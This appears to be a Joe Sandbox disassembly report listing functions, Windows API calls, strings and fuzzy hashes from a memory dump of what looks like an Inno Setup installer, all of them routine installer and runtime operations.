Instruction Fuzzy Hash: A7812871A00218CFDB14DFA8D884ADEBBF4FF88314F51416AE905AB296E778AD45CF44

Function 00406F94 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156shareCOMMON

Download Yara Rule

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00406FF3
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 0040706D
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 004070C5

Strings

Z, xrefs: 0040702C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: 0cda032a99fccbc67731b5396545ffd3d82a8b59ae0714c8f86b613c94d89fe8
Instruction ID: 6c201072c7e19ab920663406aa1001a3a7646b20d706545eb94c2f0a958ae389
Opcode Fuzzy Hash: 0cda032a99fccbc67731b5396545ffd3d82a8b59ae0714c8f86b613c94d89fe8
Instruction Fuzzy Hash: 17517070E04208ABDB11DF55C941A9EBBF9EF49304F1481BAE500BB3D1D778AE458B6A

Function 0044CFB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 0044D046
DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044D071
DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044D0F9

Strings

, xrefs: 0044D02B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: DrawText$EmptyRect
String ID:
API String ID: 182455014-2867612384
Opcode ID: aa4c93a2d6761cb4316e3b9f58fd36adaf3be60b4be49a56ecc8a50fb57c6bd0
Instruction ID: 2c01bf535b7fc2f64207dbeae616ffe24efc4250a83762b1f7dac36c1304b9fc
Opcode Fuzzy Hash: aa4c93a2d6761cb4316e3b9f58fd36adaf3be60b4be49a56ecc8a50fb57c6bd0
Instruction Fuzzy Hash: 6C517171E00248AFDB11DFA9C885BDEBBF8AF49308F14447AE845EB352D7389945CB64

Function 0042EF6C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,00000000,0042F0C0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042EF96

Part of subcall function 0041A1E0: CreateFontIndirectA.GDI32(?), ref: 0041A29F

SelectObject.GDI32(?,00000000), ref: 0042EFB9
73A1A480.USER32(00000000,?,0042F0A5,00000000,0042F09E,?,00000000,00000000,0042F0C0,?,?,?,?,00000000,00000000,00000000), ref: 0042F098

Strings

...\, xrefs: 0042F04A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A480A570CreateFontIndirectObjectSelect
String ID: ...\
API String ID: 2998766281-983595016
Opcode ID: aaeb4b64b252ec620ee19bd92df8033ea15f110d648c0c566ea30b5701249572
Instruction ID: 43f07ddd406d3cd78f52d868909731211d08e22d210600ca561f601472f043fe
Opcode Fuzzy Hash: aaeb4b64b252ec620ee19bd92df8033ea15f110d648c0c566ea30b5701249572
Instruction Fuzzy Hash: A6318570B00128ABDB11DF99D841BAEB7F9FB48708F90447BF410A7392C7785E44CA59

Function 00416408 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,?,?), ref: 00416477
UnregisterClassA.USER32(?,00400000), ref: 004164A3
RegisterClassA.USER32(?), ref: 004164C6

Strings

@, xrefs: 00416421

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: 58713160258ce5f561964bbdae6a2794c8f6f6caf00f6f1604bd66b56dd4b990
Instruction ID: 9d11af1acff112dbe95f15f3a9399eab9f365f4a7252c57533c35fba51c14aa0
Opcode Fuzzy Hash: 58713160258ce5f561964bbdae6a2794c8f6f6caf00f6f1604bd66b56dd4b990
Instruction Fuzzy Hash: 81316F702043409BD720EF68C981B9B77E5AB89308F04457FF949DB392DB39D944CB6A

Function 0049771C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,0049806C,00000000,00497812,?,?,00000000,0049B628), ref: 0049778C
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,0049806C,00000000,00497812,?,?,00000000,0049B628), ref: 004977B5
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 004977CE

Strings

isRS-%.3u.tmp, xrefs: 0049776B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: 5e447f30b23232af434533287497b31b90de18d305760ab90fd2fc5e7a108e0f
Instruction ID: cfa846df06bac921d3cc7342383d8013e9ea743293dbac669405f5124aadd281
Opcode Fuzzy Hash: 5e447f30b23232af434533287497b31b90de18d305760ab90fd2fc5e7a108e0f
Instruction Fuzzy Hash: 05213271E14209AFCF00EBA9C8859AFBBB8AF54314F51457AB414B72D1D6385E01CB59

Function 00404D2A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404DC5
ExitProcess.KERNEL32 ref: 00404E0D

Strings

Runtime error at 00000000, xrefs: 00404DBE, 00404DD1
Error, xrefs: 00404DB9

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000
API String ID: 1220098344-2970929446
Opcode ID: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
Instruction ID: e2df0dcbf1ce8e07228a8ae3c957e3f7be2bf5582065763199918d440bd3f461
Opcode Fuzzy Hash: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
Instruction Fuzzy Hash: 8E219560A442414ADB11A779BA8571B3B91D7E5348F04817BE710A73E3C77C8C4487ED

Function 00456A1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042C7FC: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C820

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00456A70
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00456A9D

Strings

RegisterTypeLib, xrefs: 00456AA8
LoadTypeLib, xrefs: 00456A7B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
Opcode ID: e660801773f94f20b04beacac4d0dca05fe01ebd0f05b0c2a082d9499ce0d4df
Instruction ID: dea98cbdfb45d66fad0868bd7db80167fcb8ebb816cd54e6ac056e4ed8ccdf78
Opcode Fuzzy Hash: e660801773f94f20b04beacac4d0dca05fe01ebd0f05b0c2a082d9499ce0d4df
Instruction Fuzzy Hash: A9119670B00604BFDB11DFA6CD51A5EB7BDEB8A705F518476BC04E3652DA389D04CA54

Function 00456F74 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 00456F8E
SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 0045702B

Strings

Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 00456FBA
Failed to create DebugClientWnd, xrefs: 00456FF4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: MessageSend
String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
API String ID: 3850602802-3720027226
Opcode ID: bc4e2302685a1611cdf589b1ebeb412e0de634acd2de00c3d71195a2fbe054b6
Instruction ID: 364b6cfc2dd25a83f1288abab6954b7d1953a24f55fd1dbca2d44010d5bb0a44
Opcode Fuzzy Hash: bc4e2302685a1611cdf589b1ebeb412e0de634acd2de00c3d71195a2fbe054b6
Instruction Fuzzy Hash: 6D110471604240ABD310AB689C81B5F7BD49B15319F55403EFA849B3C3D3794C08C7BE

Function 00478180 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 004242BC: SetWindowTextA.USER32(?,00000000), ref: 004242D4

GetFocus.USER32 ref: 004781EB
GetKeyState.USER32(0000007A), ref: 004781FD
WaitMessage.USER32(?,00000000,00478224,?,00000000,0047824B,?,?,00000001,00000000,?,?,?,0047FA10,00000000,004808CA), ref: 00478207

Strings

Wnd=$%x, xrefs: 004781CF

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FocusMessageStateTextWaitWindow
String ID: Wnd=$%x
API String ID: 1381870634-2927251529
Opcode ID: 84218ba3482459bc906772e13e797513dd116e5c3cf85ca98293f9821701720b
Instruction ID: 5f1c8258d991fabeb8ce52e8cfeede19b84d8dc0ceec509adeab196e5a3e054a
Opcode Fuzzy Hash: 84218ba3482459bc906772e13e797513dd116e5c3cf85ca98293f9821701720b
Instruction Fuzzy Hash: C011C430644645AFC700FBA5D845A9E7BF8EB49304B5184BEF408E7651DB386D00CA69

Function 0046E430 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32(?), ref: 0046E438
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046E447

Strings

%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 0046E4BC
(invalid), xrefs: 0046E4CA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: 45f4a363f224ef8c5fed3f77cd0aa38b31e29c1c09915091c8c286ec18076b3a
Instruction ID: 72319f5cb05664b7e116556de8a44c1f4f08e856cbf185e3f572017f7e9d6813
Opcode Fuzzy Hash: 45f4a363f224ef8c5fed3f77cd0aa38b31e29c1c09915091c8c286ec18076b3a
Instruction Fuzzy Hash: 3011F8A440C3919ED340DF6AC44432BBAE4AB99708F04896FF9C8D6381E779C948DB77

Function 00453F4A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000020), ref: 00453F57

Part of subcall function 00406F40: DeleteFileA.KERNEL32(00000000,0049B628,00497BFD,00000000,00497C52,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F4B

MoveFileA.KERNEL32(00000000,00000000), ref: 00453F7C

Part of subcall function 00453470: GetLastError.KERNEL32(00000000,00454005,00000005,00000000,0045403A,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004978B1,00000000), ref: 00453473

Strings

MoveFile, xrefs: 00453F85
DeleteFile, xrefs: 00453F68

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: File$AttributesDeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3024442154-139070271
Opcode ID: b1543e803949c7e0bc7b6baa6fe4679c95893f4373d9700be0af1e5a7050e6bf
Instruction ID: d61ccdf94e8101ca60a50ffa5b16d74e098655775539a7d8992e0f9997158dc0
Opcode Fuzzy Hash: b1543e803949c7e0bc7b6baa6fe4679c95893f4373d9700be0af1e5a7050e6bf
Instruction Fuzzy Hash: E6F062716041045BD701EBA2D94266EA3ECEB8430EFA0403BB900BB6C3DA3C9E09452D

Function 00459184 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004592C1,00000000,00459479,?,00000000,00000000,00000000), ref: 004591D1

Strings

InstallRoot, xrefs: 004591C0
.NET Framework not found, xrefs: 004591E0
SOFTWARE\Microsoft\.NETFramework, xrefs: 004591A4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpen
String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2631785700
Opcode ID: a4f8ebe625aa4241feead5212253246ce33a71640870ef86989e33138b66f8c9
Instruction ID: b3b7ca93e3ee9f71f5f4917cf459f66c0bdee831e94fc7924cf2246e82346dcf
Opcode Fuzzy Hash: a4f8ebe625aa4241feead5212253246ce33a71640870ef86989e33138b66f8c9
Instruction Fuzzy Hash: 11F0A431300151EBD710EB5AD895B5E7698DB95356F50453BF940CB253C67CCC058B59

Function 00483180 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 004831C1
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 004831E4

Strings

CSDVersion, xrefs: 004831B8
System\CurrentControlSet\Control\Windows, xrefs: 0048318E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 3677997916-1910633163
Opcode ID: 8c4194736c198406f1c4615c9bef297240f0128b093a56b4b0574b173b8ea383
Instruction ID: 86ea9b687bc925f919ffd8904499e524e0617f710df10bb4bfec30536caacf1e
Opcode Fuzzy Hash: 8c4194736c198406f1c4615c9bef297240f0128b093a56b4b0574b173b8ea383
Instruction Fuzzy Hash: 84F03175E40208A6DF10EAE18C49BAF73BCAB04F05F104567E910E7281EB7AAB048B59

Function 0042D8E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B2E,00000000,00453BD1,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FC1,00000000), ref: 0042D902
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D908

Strings

GetSystemWow64DirectoryA, xrefs: 0042D8F8
kernel32.dll, xrefs: 0042D8FD

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 1646373207-4063490227
Opcode ID: 7b96dfeca4fb46ac12370e2a7164d548b2292eba5de3f20d368527ccba0e5576
Instruction ID: 46d83308b3a0af851ef73fb55c1ff88b015d3a0f0a3b668622d7e336d39da5d8
Opcode Fuzzy Hash: 7b96dfeca4fb46ac12370e2a7164d548b2292eba5de3f20d368527ccba0e5576
Instruction Fuzzy Hash: F2E0DFE0B00B4122D720257A1C82B5B10894B84768FA0043B3888E52D6EDBCDD841A2D

Function 0042EB4C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,00000000,0042EAC8), ref: 0042EB5A
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EB60

Strings

ShutdownBlockReasonDestroy, xrefs: 0042EB50
user32.dll, xrefs: 0042EB55

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 3e5cb9d7abe0ff9b6486504588ced90e5b8f05a967361d48d4fc2df467991dfe
Instruction ID: e22649ab5c5d02c0682c512352339c2c95c689ad11c13297e1ab925b23cbcb3c
Opcode Fuzzy Hash: 3e5cb9d7abe0ff9b6486504588ced90e5b8f05a967361d48d4fc2df467991dfe
Instruction Fuzzy Hash: B8D0C793711732566910B5FB3CD1DEB098C895427A39400B7F615E5541D55DDC1119AC

Function 0044F73C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,004980FE), ref: 0044F777
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F77D

Strings

user32.dll, xrefs: 0044F772
NotifyWinEvent, xrefs: 0044F76D

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NotifyWinEvent$user32.dll
API String ID: 1646373207-597752486
Opcode ID: c1ce619e6872abdf5b4899d5f27880f5dd90b76e17064dac08d73993ed60d4d7
Instruction ID: 704f9416b83fe6db864644e5aa21ade638d5456887e5d0d6230baff76c02d14e
Opcode Fuzzy Hash: c1ce619e6872abdf5b4899d5f27880f5dd90b76e17064dac08d73993ed60d4d7
Instruction Fuzzy Hash: 7DE012F0E4174499FB00BBB97A4671E3AD0E7A471CB00017FF454A62A1DB7C44184F9D

Function 00497E74 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00498154,00000001,00000000,00498178), ref: 00497E7E
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00497E84

Strings

user32.dll, xrefs: 00497E79
DisableProcessWindowsGhosting, xrefs: 00497E74

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

